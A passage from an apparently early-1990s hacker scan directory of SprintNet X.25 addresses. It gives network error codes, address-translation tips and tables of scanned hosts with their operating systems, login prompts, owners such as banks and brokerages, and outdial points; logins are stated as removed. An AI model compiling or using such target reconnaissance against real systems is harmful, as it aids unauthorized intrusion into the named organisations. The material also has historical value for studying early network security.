44 "Unauthorised Interrupt"
45 "Unauthorised Reject"
48 "Timer expired"
49 "Timer expired for Incoming call"
50 "Timer expired for clear Indication"
51 "Timer expired for reset indication"
52 "Timer expired for restart indication"
53 "Timer expired for call forwarding"
64 "Call set up/clear/registration problem"
65 "Facility/registration code not allowed"
66 "Facility parameter not allowed"
67 "Invalid Called Address"
68 "Invalid calling address"
69 "Invalid facility registration length"
70 "Incoming call barred"
71 "No logical channel available"
72 "Call Collision"
73 "Duplicate facility ested"
74 "Non zero address length"
75 "Non zero facility length"
76 "Facility not provided when expected"
77 "Invalid CCITT spec'd facility"
78 "Maximum call redirections/forwardings exceeded"
80 "Miscellaneous"
81 "Improper cause code from DTE"
82 "Non alligned octet"
83 "Inconsistent Q bit setting"
84 "NUI Related problem"
96 "International setup/clearing problem"
97 "Unknown calling DNIC "
98 "TNIC mismatch "
99 "Call identifier mismatch"
100 "Neg' error in utility parm' value"
101 "Invalid utility length "
102 "Non-zero utility length "
103 "M bit violation "
112 "International problem "
113 "Remote Network problem "
114 "International Protocol problem "
115 "International Link out of order "
116 "International Link busy"
117 "Transit Network Facility Problem"
118 "Remote Network Facility Problem"
119 "International routing problem"
120 "Temporary routing problem"
121 "Unknown called DNIC"
122 "MAintenance action"
128 "Network Specific Diagnostic"
218 "trax_trap error for user call"
219 "user task error"
220 "x25 task error"
Note: If you're getting LOCAL/REMOTE PROCEDURE ERROR or REJECTING, try using
different ports with the same address.
Other Than SprintNet:
~~~~~~~~~~~~~~~~~~~~~
International or other than SprintNet users, follow the table below to expand
these addresses to suit your network:
202 224 <--- Address from list
031102020022400 <--- Translated to international format
03110 202 00224 00 <--- Explanation of international format
^^^^^ ^^^ ^^^^^ ^^
| | | |
| | | |____ Port Number
| | |_________ Network Address
| |______________ Network Prefix
|___________________ DNIC
DNIC : This will be be 03110 for all translations. On some networks, you
won't need the leading 0 and can use 3110, and a few networks
(DataPac?) use a 1 instead of 0, thus: 13110.
Prefix : Throughout this file, it will always be a three digit prefix.
Address: You may have to experiment a little to get the correct place holders,
but as a general rule they will translate like this:
1 = 00001
11 = 00011
111 = 00111
1111 = 01111
11111 = 11111
Ports : Port numbers range from .1 to .99. The first 27 ports may be
alternately displayed as A-Z. Ports are generally not listed as most
addresses will find a free port for you if you leave it off, but in
some cases you must use it, so they translate like this:
.1 or A = 01
.2 or B = 02
and so on...
Examples of translated addresses:
201 1.5 = 031102010000105
415 9 = 031104150000900
223 25 = 031102230002500
714 218 = 031107140021800
617 2027 = 031106170202700
If this seems a bit essoteric or confusing, don't worry. A little bit of
experimenting will get you on the right track.
Notes:
~~~~~~
- You can usually omit leading and trailing 0's
- Most networks and PADs do NOT allow any spaces
- From SprintNet, you can use either form of address
Conventions in this list:
~~~~~~~~~~~~~~~~~~~~~~~~~
Addresses followed by a "$" do not accept collect connections (if you're not
coming on from SprintNet, ignore the $).
Addresses followed by a "*" do not accept collect connections, and I was unable
to connect to them to determine what they are.
When both the OS and the RESPONSE fields are left blank, this means that I
connected and either couldn't evoke response or got a garbage response.
LOGIN/PW's removed from this release.
SprintNet Directory
~~~~~~~~~~~~~~~~~~~
201 - New Jersey Scanned:[0-2000]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
201 1 $ outdial (201)
201 22 $ outdial (201)
201 25 Unix HP-UX ciathp A.B7.00 U 9000/835
201 30
201 32 D&B Terminal
201 34 $ Prime
201 36 * (incoming call barred)
201 37 $
201 40 $ Welcome to our PSI via X.29
201 42 *
201 43 $
201 44 $
201 45 Prime NewsNet
201 46 $
201 48 $ VAX/VMS Welcome to MicroVMS V5.3
201 49 $ VAX/VMS
201 53 WELCOME TO COLGATE'S IICS
201 57 * (incoming call barred)
201 58 * (incoming call barred)
201 59 * (incoming call barred)
201 66 $ Prime
201 67 warner computer systems
201 68 warner computer systems
201 69 warner computer systems
201 83 ENTER ID:
201 84 D&B Terminal
201 86 D&B Terminal
201 88 D&B Terminal
201 89 Prudential
201 107 $ outdial (201)
201 108 $ outdial (201)
201 138 HP-3000 EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON.
201 140 $ Enter One Time Password:
201 156 Unix Securities Data Company (SDC7)
201 163 VU/TEXT * PLEASE SIGN ON:
201 164 VU/TEXT * PLEASE SIGN ON:
201 167 DTC DTC01.HP.COM
201 170 Prudential
201 173 MHP201A UPK19130 APPLICATION:
201 174 CRYPTO ENTER "IDX" OR "ID" AND USER ID -->
201 179 APPLICATION:
201 200 D&B Terminal
201 201 D&B Terminal
201 235 *
201 241 $ (immediate hangup)
201 242 D&B Terminal
201 243 D&B Terminal
201 244 D&B Terminal
201 246 D&B Terminal
201 247 VTAM Shearson Lehman Brothers NPSI
201 252 Prime PRIMENET 21.0.6 BOR
201 254 $ Unix field login:
201 257 Please press <Return> . . .(
201 259 Please press <Return> . . .(
201 271 $ User Access Verification Password:
201 301 $ outdial
201 334 $ HP-3000 :
201 335 *
201 336 $ Concurrent Computer Corporation's DATALINK
201 337 $ out of order
201 339 $ ??? (echo)
201 340 *
201 341 *
201 342 $ Unix ocpt
201 343 $ Enviornmental Control Monitor (PENNET)
201 344 *
201 348 *
201 350 $ $$ 4200 MODEL: $$ 50 DEVICE TYPE IDENTIFIER :
201 355 $ Concurrent Computer Corporation's DATALINK
201 430 * (incoming call barred)
201 465 VAX/VMS V5.5 on VBH301
201 471 Prudential
201 472 APPLICATION:
201 474 Prudential
201 475 Prudential
201 477 VM/CMS? ENTER AS SHOWN: L/LOGON/TSO/INFO/CICS
201 479 VM/CMS
201 730 *
201 770 *
201 830 $ INSCI/90 SYSTEM MV-10/13, LOGON PLEASE
201 870 $ INSCI/90 SYSTEM MV-10/13, LOGON PLEASE
201 890 $ INSCI/90 SYSTEM MV-10/13, LOGON PLEASE
201 895 $ INSCI/90 SYSTEM MV-10/10, LOGON PLEASE
201 899 $ (hangs up)
201 910 $ (echo)
201 912 $ (echo)
201 914 $ (echo)
201 916 $ (echo)
201 950 Bankers Trust Online
201 999 $ (hangs up)
201 1030 USER ID
201 1050 VU/TEXT
201 1051 VU/TEXT
201 1052 VU/TEXT
201 1053 VU/TEXT
201 1054 VU/TEXT
201 1055 VU/TEXT
201 1056 VU/TEXT
201 1057 VU/TEXT
201 1059 VU/TEXT
201 1060 VU/TEXT
201 1061 VU/TEXT
201 1062 VU/TEXT
201 1063 VU/TEXT
201 1064 VU/TEXT
201 1065 VU/TEXT
201 1066 VU/TEXT
201 1067 VU/TEXT
201 1068 VU/TEXT
201 1069 VU/TEXT
201 1070 VU/TEXT
201 1071 VU/TEXT
201 1072 VU/TEXT
201 1073 VU/TEXT
201 1074 VU/TEXT
201 1075 VU/TEXT
201 1076 VU/TEXT
201 1077 VU/TEXT
201 1078 VU/TEXT
201 1079 VU/TEXT
201 1135 $ ACCESS BARRED
201 1137 $ Finlay Fine Jewelry Corp.
201 1139 CONNECTED TO PACKET/400
201 1143 $ MHP201A UPK19040 APPLICATION:
201 1156 *
201 1160 Shaw Data Services
201 1163 * (incoming call barred)
201 1164 * (incoming call barred)
201 1168 CONNECTED TO PACKET/400
201 1170.1 $ Johnson and Johnson Network
201 1171 *
201 1172 $ Unix/SCO TCSS
201 1173 *
201 1174 *
201 1176 NSP READY
201 1177 NSP READY
201 1232 VAX/VMS Username:
201 1233 VAX/VMS Username:
201 1243 VAX/VMS Friden Neopost (NJCRAN Node)
201 1251 VM/CMS GSERV
201 1258 VM/CMS GSERV
201 1259 VM/CMS GSERV
201 1263 * (incoming call barred)
201 1264 * (incoming call barred)
201 1265 *
201 1266 *
201 1267 *
201 1268 *
201 1270
201 1272
201 1275 VAX/VMS Shaw Data Services
201 1277
201 1330 *
201 1331 *
201 1332 *
201 1333 $ (echo)
201 1335 $ Environment Control Monitor
201 1340 *
201 1341 *
201 1342 *
201 1343 Prudential
201 1344 Prudential
201 1345 Prudential
201 1346 Prudential
201 1347 Prudential
201 1354 *
201 1359 $ Finlay Fine Jewelry Corp.
201 1370.1 $ HP-3000 CORPHP.CIS.HCC
201 1371 *
201 1372 *
201 1373 *
201 1374 *
201 1375 *
201 1376 *
201 1377 *
201 1378 *
201 1379 $
201 1430 * (incoming call barred)
201 1431 * (incoming call barred)
201 1432 * (incoming call barred)
201 1433 * (incoming call barred)
201 1434 * (incoming call barred)
201 1435 * (incoming call barred)
201 1442 *
201 1443 *
201 1446 *
201 1454 *
201 1455 *
201 1456 *
201 1460
201 1510
201 2030 Lynx Technologies Inc.
201 2031 VTAM Shearson Lehman Brothers NPSI
201 11234 VAX/VMS
202 - Washington D.C. Scanned: [0 - 3000] & various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
202 1 Prime
202 2 Prime
202 10 Prime
202 12 Prime
202 31 NewsMachine 5.1
202 36 $ NETWORK SIGN-ON FAILED
202 38 $ NETWORK SIGN-ON FAILED
202 42 *
202 48 $ U.S.I.A. Computer Center.
202 49 enter system id --
202 115 $ outdial (202)
202 116 $ outdial (202)
202 117 $ outdial (202)
202 123 $ xxxx
202 138 $ VAX/VMS Gaullaudet University
202 141 >909 761 User name?
202 142 >909 406 User name?
202 149 $
202 150 UPI>
202 152 *
202 201 CompuServe User ID: phones
202 202 CompuServe
202 203 CompuServe
202 224 $ outdial (global)
202 235 $ Prime
202 239 $ Prime
202 241 *
202 243 *
202 245 AOS Username:
202 253 *
202 255 Morgan Stanley Network
202 260 $ PLEASE SELECT: TSOMVS, ANOTHER APPLICATION
202 265 $ USER ID
202 266 $ USER ID
202 275 *
202 276 *
202 277 *
202 278 $ USER ID
202 330 *
202 331 *
202 332 *
202 333 *
202 334 *
202 335 *
202 336 VAX/VMS Congressional Quarterly Online Systems
202 337 VAX/VMS Congressional Quarterly Online Systems
202 353 *
202 356 PRIME PRIMENET 22.1.1.R36 SYSA
202 361 *
202 362 *
202 363 *
202 364 *
202 365 Lexis and Nexis
202 366 Lexis and Nexis
202 367 Lexis and Nexis
202 371 *
202 372 *
202 373 *
202 377 *
202 390 $ #CONNECT REQUESTED TO HOST GSAHOST : CANDE
202 391 $ #CONNECT REQUESTED TO HOST GSAHOST : CANDE
202 403 $ outdial (202)
202 433 *
202 453 USER ID
202 454 VAX/VMS Connect to GBS
202 455 *
202 456 *
202 458 *
202 459 *
202 465 *
202 466 *
202 467 *
202 468 *
202 469 *
202 472 *
202 477 UPI>
202 478 UPI>
202 479 UPI>
202 550 UPI>
202 616 *
202 617 *
202 1030 *
202 1031 *
202 1032 *
202 1033 *
202 1034 *
202 1155 *
202 1156 *
202 1157 *
202 1158 *
202 1159 *
202 1261 *
202 1262 *
202 1263 *
202 1264 *
202 1265 *
202 1266 *
202 1267 *
202 1268 *
202 1269 *
202 1270 *
202 1323 $
202 1325 VAX/VMS
202 1363 Enter your User Name:
202 1364.1 Unix System name: fmis
202 1365.3 Unix/SysV X.29 Terminal Service (person)
202 1385 Prime PRIMENET 22.1.3 CGYARD
202 1407 Unix/SysV X.29 Terminal Service (person)
202 1440 VAX/VMS Username:
202 3011 *
202 3012 *
202 3030A ASYNC TO 3270 -> FIRST AMERICAN BANK OF GEORGIA
202 3036 $ GS/1 GS/X.25 Gateway Server
202 3060 *
202 3067 $ Major BBS Power Exchange (adult bbs and chat) Member-ID? new
202 3069 $ E06A26B3
202 3070 $
202 3071 $
202 3072 $
202 3074 $ VAX/VMS Welcome to VAX/VMS V5.5-1
202 3075 *
202 3130 GTE Contel DUAT System (login as visitor)
202 3131 GTE Contel DUAT System (airplane info galore)
202 3134 USER ID
202 3135 USER ID
202 3138 *
202 3139 *
202 3140 *
202 3142 *
202 3145 &StArT&
202 3242 VOS Please login (try 'help')
202 3243 VOS Please login
202 3244 Unix tmn!login:
202 3246 *
202 3247 *
202 3254 VOS Please login
202 3255 VOS Please login
202 3256 VOS Please login
202 3257 (locks up)
202 3258 VOS Please login
202 3259 VOS Please login
202 3260 VOS Please login
202 3261 VOS Please login
202 3262 VOS Please login
202 3263 VOS Please login
202 3264 $ AMS SYSTEM=
202 3269
202 3330 *
202 3332 *
202 3333 *
202 3335 $ NETX A000VD00 READY FOR LOGON
202 3336 $ NETX A000VD00 READY FOR LOGON
202 3337 *
202 3338 *
202 3600 *
202 3601 *
202 3602 *
202 3603 *
202 3604 *
202 3605 *
202 3606 *
202 3611 *
202 3612 *
202 3613 *
202 3614 *
202 3630 *
202 4220
202 4222
202 4226 MSG10-RJRT TERMINAL-ID:GSSCXA63 IS NOW IN SESSION
202 60031 VAX/VMS V5.4-2
202 60033 Unix/SunOS Welcome to QHDS!
202 60035 *
202 60036 NETX A0A0VD00 READY FOR LOGON
202 60039 Unix/SunOS (QHDS.MXBC)
202 60040 Lexis and Nexis
202 60043 *
202 60056
202 60058 *
202 60059 *
202 60060 *
202 60064 *
202 60068 PIN:
202 60069 PIN:
202 60070 PIN:
202 60071 PIN:
202 60073 *
203 - Connecticut Scanned: [0 - 500]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
203 22 VM/CMS
203 28 VM/CMS
203 50 CONNECTED TO PACKET/74
203 60 $ GEN*NET Private Switched Data Network
203 61 *
203 62 VAX/VMS ACM Enter SecurID PASSCODE:
203 66 Login Please :
203 67 Login Please :
203 77 *
203 78 $ Novell Netware Access Server (DDS)
203 79 *
203 105 $ outdial (203)
203 120 $ outdial (203)
203 121 $ outdial (203)
203 136 PRIME PRIMENET 20.2.7 SYSA
203 159 $ access barred
203 160 *
203 161 $ Novell Netware Access Server (INFOSYS)
203 165 Panoramic, Inc. PLEASE LOGON: help
203 242 Login Please :
203 274 $ ACF/VTAM
203 277 * (incoming call barred)
203 310
203 317
203 346 *
203 347 SB >
203 350 *
203 362 * (incoming call barred)
203 367 CONNECTED TO PACKET/74
203 434 $ (hangs up)
203 435 $ ACF/VTAM
203 438 $ (echo)
203 442 $ (echo)
203 452 *
203 455
203 458 * (incoming call barred)
203 463 *
203 465 *
205 - Alabama Scanned: 0 - 300
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
205 237 *
205 245 *
205 246 *
206 - Washington Scanned: [0 - 500]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
206 40 $ Prime PRIMENET 23.2.0.r26 P6450
206 60 *
206 65 PRIME PRIMENET 22.1.4 OAD
206 66
206 67 $
206 138 $ MHP201A UPK0BY60 * VERSION 5.5.4 *.
206 139 $ Wang VS Logon
206 154 $ DTC THE SEATTLE DTC (DTC01.MACON.USOPM)
206 158 VAX/VMS Username:
206 167 * (incoming call barred)
206 170 $ hp-3000
206 173 $ Renex Connect, SN-00100201
206 205 $ outdial (206)
206 206 $ outdial (206)
206 208 $ outdial (206)
206 239.1$ + Log on please
206 240.1$ ***investigate***
206 250 $ logins to this workstation temp. barred
206 251 $ Wang SYSTEM TWO (TACOMA:TACOMA)
206 351 *
206 352 *
206 357 $ HP-3000
206 360 CUSTOMER ID:
206 368 *
206 369 *
206 371 $
206 375 Prime PRIMENET 23.2.0.r26 DZ-BLV
206 430 $ 911 Monitor HATSLNCT is currently not available
206 470 VAX/VMS
206 479 $ + Log on please
207 - Maine Scanned: 0 - 300
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
207 40 *
207 260 ??? Please login:
208 - Idaho Scanned: 0 - 300
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
208 236 *
208 250 $ USER ID
208 252 Welcome to the NET, X.29 Password:
209 - California Scanned: 0 - 300
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
209 241 *
209 243 *
209 245 *
209 246 *
209 270 $ VAX/VMS Continental PET Technologies, MODESTO
209 273 DACS III ***investigate***
211 - Dun & Broadstreet Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
211 1140 D&B terminal
211 1142 D&B terminal
211 1145 VAX/VMS on VBH302
211 1240 Please enter your terminal id; '?' for MENU
211 1242 D&B terminal
211 1244 Please enter your terminal id; '?' for MENU
211 1245 ??? GNETMAIL
211 2150 Prime
211 2240 DunsNet's User Verification Service
211 2247 DUNSCENTER (connects to many machines)
211 2249 ID?>
211 2255 ID?>
211 2450 Prime
211 2451 Prime
211 3290 CMS? IDC/370 Ready-
211 3291 CMS? IDC/370 Ready-
211 3292 CMS? IDC/370 Ready-
211 3390 CMS? IDC/370 Ready-
211 3391 CMS? IDC/370 Ready-
211 3392 CMS? IDC/370 Ready-
211 3490 CMS? IDC/370 Ready-
211 4190 DunsNet's User Verification Service
211 4240 Enter service code -
211 4241 Enter service code -
211 5140 DTC Nielsen Household Services (DTC03.NY.NPD)
211 5240 VAX/VMS GUMBY...
211 5290 DTC Nielsen Household Services (DTC02.NY.NPD)
211 6140 PLEASE ENTER SUBSCRIBERID;PASSWORD
211 6141 A. C. Nielsen Information Center.
211 6142 A. C. Nielsen Information Center.
211 6145
211 6190 PLEASE ENTER SUBSCRIBERID;PASSWORD
211 6240 A. C. Nielsen Information Center.
211 6250 ??? USERNAME?
211 6290 PLEASE ENTER SUBSCRIBERID;PASSWORD
211 8140 DIALOG INFORMATION SERVICES
211 8142 VAX/VMS Username:
211 11140 VM/CMS VM/370 ONLINE--
211 11142 VM/CMS VM/370 ONLINE--
211 11144 VAX/VMS Username:
211 13190 D&B terminal (in spanish)
211 13191 D&B terminal
211 14110 Renex Connect, Enter password -
211 15140 NEODATA SERVICES NETWORK
212 - New York Scanned: [0 - 3000] & various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
212 30 ENTER ID:
212 31 $ VM/CMS
212 34 *
212 40 PLEASE ENTER /LOGIN
212 41 MHP201A UPK05173 APPLICATION:
212 48 *
212 52 $ Prime
212 53 VAX/VMS
212 73 $ Prime
212 79 ENTER ID:
212 100 VAX/VMS Username:
212 101 VAX/VMS Username:
212 102 **** Invalid sign-on, please try again ****
212 103 VAX/VMS Username:
212 104 **** Invalid sign-on, please try again ****
212 105 **** Invalid sign-on, please try again ****
212 106 **** Invalid sign-on, please try again ****
212 108 **** Invalid sign-on, please try again ****
212 109 **** Invalid sign-on, please try again ****
212 110 **** Invalid sign-on, please try again ****
212 112 Shearson Lehman Brothers
212 124 $ VAX/VMS Username:
212 130 you are now connected to the host computer
212 131 Shearson Lehman Brothers
212 137 Prime PRIMENET 22.1.1.R17.STS.6 NY60
212 145 ENTER ACCESS ID:
212 146 ENTER ACCESS ID:
212 152 VAX/VMS Username:
212 170 $ TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK
212 172 $ TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK
212 174 $ TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK
212 197 BANKERS TRUST
212 202 VAX/VMS Username:
212 226 USER ID ?
212 231 $ VM/CMS
212 242 ENTER IDENTIFICATION:
212 255 VAX/VMS (PB2 - PBS Development System)
212 259 VAX/VMS (NYTASD - TAS SYSTEM)
212 260 Bankers Trust Online
212 274 $ INVALID INPUT
212 275 Bankers Trust Online
212 276 *
212 277 ****POSSIBLE DATA LOSS 00 00****
212 278 Bankers Trust Online
212 279 User: (RSTS V9.3-20)
212 285 Invalid login attempt
212 306 *
212 315 $ outdial (212)
212 320 ENTER IDENTIFICATION:
212 321 ENTER IDENTIFICATION:
212 322 $ COMMAND UNRECOGNIZED
212 336 *
212 344 *
212 345 Prime PRIMENET 23.2.0.R32 NMSG
212 352 *
212 359 (drops connection right away)
212 376 -> 201 950 Bankers Trust Online
212 430 -> 312 59 Id Please: User Id: Password:
212 432 *
212 437 *
212 438 *
212 440 *
212 444 Prime PRIMENET 21.0.7.R31 EMCO
212 446 $ VAX/VMS
212 449 $ VM/CMS
212 500 enter a for astra
212 501 enter a for astra
212 502 enter a for astra
212 503 enter a for astra
212 504 enter a for astra
212 505 enter a for astra
212 509 $ Transamerican Leasing (White Plains Data Center)
212 539 (drops connections right away)
212 546 $ APLICACAO:
212 549 $ BT-Tymnet Gateway
212 561 VAX/VMS Username:
212 571 You are not authorized to connect to this machine.
212 572 $ No access to this DTE.
212 580 enter a for astra
212 603 Shearson Lehman Brothers
212 615 Shearson Lehman Brothers
212 623 Shearson Lehman Brothers
212 693 $ USER ID
212 703 Unix
212 704 Unix
212 713 Prime PRIMENET 22.1.1.R17.STS.6 NY60
212 726 $ VAX/VMS
212 731
212 970 *
212 971 *
212 972 *
212 973 *
212 974 *
212 975 *
212 976 *
212 977 *
212 978 *
212 979 *
212 1000 $ Enter ID:
212 1001 $ Enter ID:
212 1002 $ Enter ID:
212 1004 $ Enter ID:
212 1009 $ outdial (212)
212 1045 $ HP-3000 White & Case - HP 3000 Computer System
212 1046 *
212 1049 APPLICATION:
212 1050 NSP READY?
212 1052 Prime PRIMENET 20.2.4.R11 FTC0
212 1053 VAX/VMS
212 1065 $ AOS Track Data System 12
212 1069 #
212 1071 $ GS/1 CS/100T>
212 1072 $ GS/1 CS/100T>
212 1076 NSP READY
212 1233 *
212 1355 *
212 1356 *
212 1367 You are not authorized to connect to this machine.
212 1373 enter a for astra
212 1450 RadioSuisse Services.
212 1469
212 1477 n042ppp> enter system id
212 1478 n042ppp> enter system id
212 2050B Unix softdollar login:
212 2050D Unix softdollar login:
212 2060 $ T.S.S.G
212 2061 $ Boston Safe Deposit and Trust Company
212 2062 $ TWX40 LOGGED INTO AN INFORMATION SERVICES NETWORK
212 2071 VM/CMS GSERV
212 2079 VM/CMS GSERV
212 2130 $ (echo)
212 2131 $ (echo)
212 2134 $ (echo)
212 2135 $ (echo)
212 2230 $ (echo)
212 2231 $ (echo)
212 2234 $ (echo)
212 2235 $ (echo)
212 2245 $ Finlay Fine Jewelry Corp.
212 2250 VAX/VMS Username:
212 2251 **** Invalid sign-on, please try again ****
212 2252 **** Invalid sign-on, please try again ****
212 2253 **** Invalid sign-on, please try again ****
212 2254 **** Invalid sign-on, please try again ****
212 2270 **** Invalid sign-on, please try again ****
212 2271 **** Invalid sign-on, please try again ****
212 2272 **** Invalid sign-on, please try again ****
212 2273 **** Invalid sign-on, please try again ****
212 2274 **** Invalid sign-on, please try again ****
212 60002 You are not authorized to connect to this machine.
212 60007 You are not authorized to connect to this machine.
212 60010 You are not authorized to connect to this machine.
212 60031 VM/CMS
212 60032 ENTER ID:
212 60033 Prime CDA Online Services
212 60034 CHANNEL 03/009. ENTER RESOURCE
212 60037 VAX/VMS MuniView
212 60044 *
212 60051 *
212 60055 USER ID
213 - California Scanned: [0 - 2000]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
213 21 Prime PRIMENET 23.2.0.R32 C6
213 22 Prime PRIMENET 23.2.0.R32 D6
213 23 $ outdial (213)
213 24 Marketron Research and Sales System
213 25 $ outdial (213)
213 35 Marketron Research and Sales System
213 41 $ (echo)
213 45 $ ENTER NETWORK SIGN-ON:
213 50 $ (echo)
213 52 $ Prime
213 53 CONNECTED TO PACKET/74
213 55 CONNECTED TO PACKET/74
213 56 CONNECTED TO PACKET/74
213 60 CONNECTED TO PACKET/74
213 61 CONNECTED TO PACKET/74
213 68 *
213 70 *
213 102 Prime PRIMENET 21.0.7.R10 TRWE.A
213 103 $ outdial (213)
213 105 Prime PRIMENET 22.1.3.beta1 SWOP
213 121 Prime PRIMENET 23.0.0 SWWE1
213 122 Unix Computervision Los Angeles District Admin System
213 123 Prime PRIMENET 23.3.0.r29 SWWA1
213 129 Prime PRIMENET 22.0.3vA CALMA1
213 151 Prime PRIMENET 22.1.3 CSSWR1
213 154 Prime PRIMENET 22.1.1.R27 SWWCR
213 155 Prime PRIMENET 22.1.3 CS.LA
213 199 Prime PRIMENET 23.2.0.R32 C6
213 220A TELENET ASYNC TO 3270 SERVICE
213 221A TELENET ASYNC TO 3270 SERVICE
213 248 *
213 249 *
213 262 *
213 265 *
213 340 Prime PRIMENET 23.2.0 TRNGW
213 336 *
213 337 $ HP-3000
213 351 Unix/SunOS SunOS Release 4.1.2 (X25)
213 357 Unix/SunOS SunOS Release 4.1.1 (X25)
213 359 Unix
213 371 *
213 373 HP-3000 SAGAN.HP.COM
213 412 $ outdial (213)
213 413 $ outdial (213)
213 540 *
213 541 *
213 542 *
213 543 *
213 660
213 1052 $ Environment Control Monitor
213 1053 $ Unix milpitas login:
213 1054 *
213 1055 $ Environment Control Monitor
213 1056 *
213 1057 $ Denver Service System (ECM)
213 1064 *
213 1065 HP-3000 EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON.
213 1073
213 1079 *
213 1160 *
213 1418 *
213 1419 *
213 1420 *
213 1421 *
213 1422 *
213 1423 *
213 1424 *
213 1425 *
213 1426 *
213 1427 *
213 1428 *
213 1429 *
213 1430 *
213 1450 MACNET:
214 - Texas Scanned: [0 - 2000]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
214 20 SIM3278
214 21 SIM3278
214 22 $ outdial (214)
214 42 VAX/VMS Username:
214 60 HP-3000 DELTA.RCO.NTI
214 68 $ VAX/VMS GTECVC
214 76 Cyber Power Computing Cyber Service
214 231
214 240
214 245 *
214 337
214 352 IST451I ENTER VALID COMMAND - NETX B0A8VD00
214 355 *
214 358 *
214 364 $ VAX/VMS GTECVC
214 366 Renex Connect, Enter service code -
214 371 Prime PRIMENET 21.0.2S GCAD..
214 372
214 373 *
214 1031 *
214 1032 *
214 1033 *
214 1034 $ (echo)
214 1035 *
214 1040 $ (echo)
214 1048 Renex Connect, Enter terminal type or "M" for menu
214 1070 BT-Tymnet Gateway please log in: information
214 1071 Cyber You may enter CDCNET commands.
214 1075 Cyber You may enter CDCNET commands.
214 1131 *
214 1151 VAX/VMS Username:
214 1152 *
214 1153
214 1158 *
214 1161 VAX/VMS Username:
214 1230 *
214 1237
214 1238
214 1241 *
214 1242 *
214 1243 *
214 1244 *
214 1245 *
214 1246 *
214 1247 *
214 1248 *
214 1249 *
214 1250 *
214 1251 *
214 1252 *
214 1253 *
214 1254 *
214 1255 *
214 1256 *
214 1257 *
214 1258 *
214 1260 *
214 1261 *
214 1262 *
214 1263 *
214 1264 *
214 1265 VAX/VMS Username:
214 1277 *
214 1278 *
214 1334 *
214 1335 *
214 1336 *
214 1337 *
214 1338 *
214 1339 *
214 1340 *
214 1341 *
214 1343 *
214 1358 *
214 1359 *
214 1362 VAX/VMS Username:
214 1363 *
214 1364 *
214 1365 *
214 1366 *
215 - Pennsylvania Scanned: 0 - 300
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
215 5 $ outdial (215)
215 22 $ outdial (215)
215 30 *
215 38 *
215 40 VU/TEXT
215 44 *
215 55 *
215 60 *
215 66 Prime NewsNet
215 112 $ outdial (215)
215 121 VM/CMS TOWERS PERRIN ONLINE--PHILA
215 134 *
215 135 VU/TEXT
215 139 *
215 140 VU/TEXT
215 143 *
215 154
215 163 Unix
215 164 Unix
215 165 Unix
215 166 Unix
215 167 Unix
215 168 Unix
215 169 Unix
215 170 Unix
215 171 Unix
215 172 *
215 173 *
215 176 *
215 179 Unix PLASPEC Engineering & Marketing Network
215 231
215 251 Unix
215 252 Unix
215 253 Unix
215 254 Unix
215 255 Unix
215 261 VAX/VMS File Transfer and Gateway Service Node ARGO
215 262
215 263
215 263
215 264 %@CVTTAUD@dUYECVGUIiED
215 270 CONNECTED TO PACKET/400
215 530 $
215 531 $
215 532 $
215 533 $
215 534 $
215 535 $
215 536 $
215 537 $
215 538 $
215 539 $
215 540 $
215 541 $
216 - Ohio Scanned: [0 - 2000]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
216 20 $ outdial (216)
216 21 $ outdial (216)
216 38 VAX/VMS Username:
216 49
216 51 *
216 59 *
216 60 APPLICATION:
216 63 *
216 64 Prime PRIMENET 20.2.4 LIPC
216 74 $ hp-x000
216 75 *
216 120 $ outdial (216)
216 134 *
216 135 *
216 140
216 201 $ HP-3000
216 202 *
216 203 *
216 204 *
216 205 *
216 209 *
216 210 *
216 211 *
216 212 $ HP-3000
216 530 *
216 531 *
216 532 *
216 533 *
216 534 *
216 535 *
216 536 *
216 537 *
216 538 *
216 539 $ (echo)
216 1351 Prime PRIMENET 22.1.4 OPSPRO
216 1352 Prime Good morning
216 1353 Prime PRIMENET 22.1.4 OPSPRO
216 1354 Prime Good morning
216 1355 $ Prime PRIMENET 22.1.4.R63 OPSSEC
216 1356 *
216 1357 Prime Good morning
216 1358 Prime PRIMENET 22.1.4 OPSPRO
216 1369 *
216 1370 *
216 1371 *
216 1372 *
217 - Illinois Scanned: 0 - 200
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
217 45 *
217 46 *
219 - Indiana Scanned: 0 - 200
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
219 3 Prime PRIMENET 22.1.0vA2 NODE.0
219 8 Prime PRIMENET 23.2.0vA NODE.8
219 9 ENTER GROUP NAME>
219 10 Lincoln National Corporation
